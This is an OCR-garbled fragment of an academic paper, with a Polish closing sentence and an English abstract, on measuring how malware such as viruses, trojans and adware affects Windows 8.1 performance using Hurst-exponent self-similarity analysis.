szczegotowej analizy z wydzieleniem cozady powodem wzrostu wyktadni-
ka, naley dokon& dodatkowej analizy multifraktalnej cedizie tematem kolej-
nych artykutow.
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PERFORMANCE TESTING OF THE OPERATING SYSTEM
INFECTED BY MALICIOUS SOFTWARE WITH USING OF SELF-
SIMILARITY ANALYSIS

Summary

The purpose of presented article is to show théysiseof the impact of malicious software
on operating system performance using applicatibichvcan collect data about computer re-
sources and it's further analysis with self-sinitlar All studies were about viruses, trojans and
adware programs. Infected Windows 8.1 Pro wereietiuy their impact on CPU, RAM memory
and HDD, then they were compared with not infectgstem. For self-similarity tests Hurst expo-
nent was used.
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